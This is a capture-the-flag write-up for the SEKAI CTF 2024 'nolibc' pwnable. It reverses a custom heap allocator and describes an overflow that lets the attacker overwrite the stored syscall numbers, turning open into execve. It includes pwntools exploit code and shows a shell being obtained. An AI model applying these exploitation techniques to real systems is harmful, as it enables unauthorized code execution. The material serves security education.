This is a write-up on the pwnable challenge, nolibc from the Project SEKAI CTF 2024, held from August 24, 2024, 01:00 (KST) to August 26, 2024, 01:00 (KST).
[!] Did not find any GOT entries
[*] '/home/CTF/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
This challenge doesn't give source code but only gives executable file. Therefore, we should reverse the executable file.
Reversed Source Code
The process of Reversing and Explaining functions (except malloc_guess function)
Access the String Storage
This program provides a total of 6 functions after user registration and login.
Note. Registration is allowed only once.
[Fig 1] Logged in the String Storage after user registration
6 functions provided by String Storage
[Fig 2] The 6 functions of String Storage
1) Add string : Store string to the current user
[Fig 3] Storing string, "mntly"
2) Delete string : Delete string by index from the current user
[Fig 4] Delete string saved for the 0th time ("mntly"
)
3) View strings : Print all strings stored in the current user
[Fig 5] Print all strings stored in the current user
4) Save to File : Save all strings stored in the current user to a single file
[Fig 6] Save all stored strings to a single file, MNTLY
[Fig 7] The content of the MNTLY file
5) Load from File : Store strings from a specified file into the current user
[Fig 8] The content of the test file
[Fig 9] Store all strings from the test file to the current user
6) Logout : Log out from String Storage
[Fig 10] Log out from String Storage
Note. If the input string contains a "flag" in the Save to File or Load from File functions, those functions fail.
[Fig 11] "flag"
filtering
main : Executes the process described in the Program process section.
init : Initializes the memory region to be allocated.
login : Verifies login for String Storage.
register : Adds a new user (only one user allowed).
AddString
: Receives an integer between 1 and 256, and allocates memory with input value + 1. Then receives the string and saves it to the allocated memory.
DelString
: After receiving the index, delete the string stored in the index.
Then free the memory space containing the deleted string.
ViewString : Displays all strings stored in the current user.
SaveFile
: After receiving the 32 bytes size file name, save stored strings to the file.
LoadFile
: After receiving the 32 bytes size file name, save the content of the file to the current user.
All memory to be allocated is allocated from an address of unk_5000
to a memory space of 0x10000 bytes.
I'll explain the process of allocating memory as the address of unk_5000
is 0x5000.
The address of unk_5000
, 0x5000, is known from IDA Pro.
[Fig 12] Temporary address of unk_5000
found from IDA Pro
The structure of each Chunk
Data is stored after 0x10 bytes from the start of the chunk.
The 0x10 byte from the start of the chunk is the Chunk Header.
The Chunk Header has the information on the Chunk size and the address of the next Chunk.
[Fig 13] The structure of the Chunk and the Chunk Header
[Fig 14] Reference graph of memory chunks (A : Allocated chunk, F : Freed chunk)
Two adjacent chunks are attached.
The Process of memory allocation
1) Align received the size of memory (size
) to be multiple of 0x10
aligned_size = (size + 15) & 0xFFFFFFF0 = 0x110
2) Find a Freed Chunk whose Chunk size is greater or equal to aligned_size
.
If a suitable memory chunk is found in process 2), check if this suitable chunk can contain the Chunk Header (0x10 bytes).
If the Chunk Header cannot be included
This case means that the Chunk Header for new memory space (to be allocated) uses the memory space of the Chunk Header of the previously freed chunk like [Fig 15] (Attack Surface)
[Fig 15] Allocate a previously freed Chunk as it is
If the Chunk Header can be included
As shown in [Fig 16], a new chunk is created by dividing the freed chunk, and the space behind it is left as a freed chunk.
[Fig 16] Allocate a freed Chunk by dividing it
If a suitable memory chunk is not found in the process 2), the malloc_guess
function returns 0.
3) After allocating the Chunk, update the first_freed_heap
value, which is pointed to the lowest freed chunk.
malloc_guess
function allocates the chunk based on the judgment below.
"The Chunk Header cannot be included" means that the Chunk Header for new memory space (to be allocated) uses the memory space of the Chunk Header of the previous freed chunk like [Fig 15] (Attack Surface)
However, this does not work well at the last freed chunk.
As shown in [Fig 15], the chunk size of the first freed chunk(Offset:0x30 ~ Offset:0x70
) before allocation, 0x30
, represents the size of Data space (Offset:0x40 ~ Offset:0x70
)
However, the chunk size of the last freed chunk (Offset:0xC0 ~ Offset:0x15000
), 0xFF40
, represents the size of total freed memory space (Offset:0xC ~ Offset:0x15000
), not the size of Data space.
If we allocate memory as chunk size when only the last chunk is freed like [Fig 17], additional writing can be made by '0x10 bytes' beyond the memory space for allocation (Offset:0x00 ~ Offset:0x15000
).
[Fig 17] Buffer OverFlow (Attack Surface) process figure
As a result of checking with IDA, memory allocation uses a space of '0x5000 to 0x15000'.
Also, syscall numbers for syscall used to implement functions are stored at 0x15000 ~ 0x15010
.
[Fig 18] .data segment which is stored the syscall number
Therefore, if we overwrite 0x10 bytes more, like [Fig 17], we can overwrite all stored syscall numbers.
This leads to tampering with the syscalls.
Set memory space for Exploit.
We can allocate a maximum of 257 bytes, so we should make the chunk size of the last freed chunk less than 257 by allocating repeatedly.
While allocating the last memory chunk, overwrite the syscall number of open
to the syscall number of execve
.
Freeing all allocated memory to make space for allocating during Process Load from File.
Try to open the "/bin/sh"
file with Load from File.
When the program tries to open the "/bin/sh"
file, the execve
function with parameter "/bin/sh"
executes because the syscall number of open
is overwritten to execve
's.
Set memory space for Exploit.
def allocN(p, N):
p.sendlineafter(b"Choose an option: ", "1")
p.sendlineafter(b"Enter string length: ", str(N))
p.sendlineafter(b"Enter a string: ", "deadmntly")
time.sleep(0.005)
def RepeatAllocMN(p, M, N):
for i in range(M):
allocN(p, N)
RepeatAllocMN(p, 683, 16) # 0 ~ 682
RepeatAllocMN(p, 59, 255) # 683 ~ 683 + 58 : 0 ~ 741
RepeatAllocMN(p, 3, 16) # 741 ~ 741 + 2 : 0 ~ 743
I calculated the size of memory space and debugged with gdb to find out the size and number of allocating
[Fig 19] Find the size (x
) and number (y
) of allocating to fit specific memory (buf
) by z3py
While allocating the last memory chunk, overwrite the syscall number of open
to the syscall number of execve
. (The syscall of execve
is 0x3b
.)
p.sendlineafter(b"Choose an option: ", "1")
p.sendlineafter(b"Enter string length: ", str(0x2f))
p.sendlineafter(b"Enter a string: ", b"A" * 0x20 + p32(0) + p32(1) + p32(0x3b) + p32(3))
Freeing all allocated memory to make space for allocating during Process Load from File.
def freeN(p, N):
p.sendlineafter(b"Choose an option: ", "2")
p.sendlineafter(b"Enter the index of the string to delete: ", str(N))
def RepeatFreeMN(p, M, N):
for i in range(M):
freeN(p, N)
RepeatFreeMN(p, 744, 0)
Try to open the "/bin/sh"
file with Load from File.
This process took place interacting with the server. (See Execution Image)
When the program tries to open the "/bin/sh"
file, the execve
function with parameter "/bin/sh"
executes because the syscall number of open
is overwritten to execve
's.
This process took place interacting with the server. (See Execution Image)
Enter the values mentioned in the Input Values - Write a Payload to write a Python code that runs a shell.
After running solution.py, the syscall number of open
is overwritten to execve
's. Then proceed to Load from File to try to open "/bin/sh"
. This leads to giving us a shell.
[Fig 20] Overwrite the syscall number of open
, freeing allocated chunks, and then starting direct communication with the server
[Fig 21] Check if the allocated chunks freeing normally
[Fig 22] Try to open the "/bin/sh"
file
[Fig 23] Get shell and find the flag file
[Fig 24] Get flag
💡 SEKAI{shitty_heap_makes_a_shitty_security}
[Fig 25] Check memory with gdb at the first pause()
of the Exploit code
In the left image of [Fig 25], the .data section is shown as 0x564ecee88000 ~ 0x564ecee98070
, indicating that the allocated memory uses 0x564ecee88000 ~ 0x564ecee98000
. Additionally, the subsequent 0x10 bytes store the syscall numbers, highlighted by the green rectangle in [Fig 25].
In the right image of [Fig 25], the red rectangles represent each chunk. The second red rectangle indicates a chunk size of 0x30 bytes, which is large enough to overwrite the entire syscall numbers stored in the global variable (highlighted by the purple rectangle).
[Fig 26] Check memory with gdb at the second pause()
of Exploit code
[Fig 26] shows the process of storing 0x30 bytes in the last chunk, modifying the syscall from open
(0x02
) to execve
(0x3b
).
[1] https://snwo.tistory.com/133
[3] https://doongdangdoongdangdong.tistory.com/28
[4] https://rninche01.tistory.com/entry/Linux-system-call-table-정리x86-x64
[5] https://realsung.tistory.com/185
[6] connection to nc ssl : chatGPT